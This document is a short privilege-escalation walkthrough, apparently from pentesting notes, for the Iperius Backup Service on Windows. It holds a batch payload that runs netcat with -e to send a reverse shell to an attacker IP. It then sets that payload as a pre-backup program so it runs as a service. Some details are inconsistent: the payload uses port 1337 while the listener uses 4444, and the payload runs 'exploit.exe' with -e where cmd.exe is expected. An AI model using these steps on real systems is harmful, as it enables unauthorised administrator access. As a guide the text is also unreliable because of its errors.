Iperius Backup Service Privilege Escalation

Iperius Backup Service is a database backup software. It is vulnerable to privilege escalation in Windows.

Investigation

First check if Iperius is running in target machine.

wmic service list | findstr "Iperius"

If the Iperius service is running, we can gain access to administrator privilege.


Exploitation

1. Create a Payload

In target machine, create a .bat file named "exploit.bat".

@echo off
C:\Users\<USERNAME>\Downloads\nc.exe <attack_machine_ip> 1337 -e exploit.exe

Then place it to Desktop.
When saving, be sure to save it as the file type "All Files" (NOT .txt).

After that start a listener in local machine.

nc -lvnp 4444

2. Create a New Backup in Iperius**

  1. Click "Iperius" icon in Windows Explorer (the common path is C:\Program Files (x86)\Iperius Backup\Iperius).
  2. Right click the "Iperius" icon on the right-bottom of the bar to open it.
  3. Click "Create New Backup" and select "Add Folder".
  4. Enter path (c:\Users\<USERNAME>\Documents) and click "OK".
  5. Navigate to "Destination" tab and select "Add Destination Folder".
  6. Enter path (c:\Users\<USERNAME>\Descktop) and click "OK".
  7. Navigate to "Other Processes" tab.
  8. On "Before backup" section, check "Run a program or open external file:" and select "exploit.bat" file.

3. Run the Backup

After setting a new backup, we can run it.
On "Iperius Backup" window, right-click on backup jobs "Documents" and select "Run backup as service" then click "OK" on the dialog.

Now we should get a shell in local machine.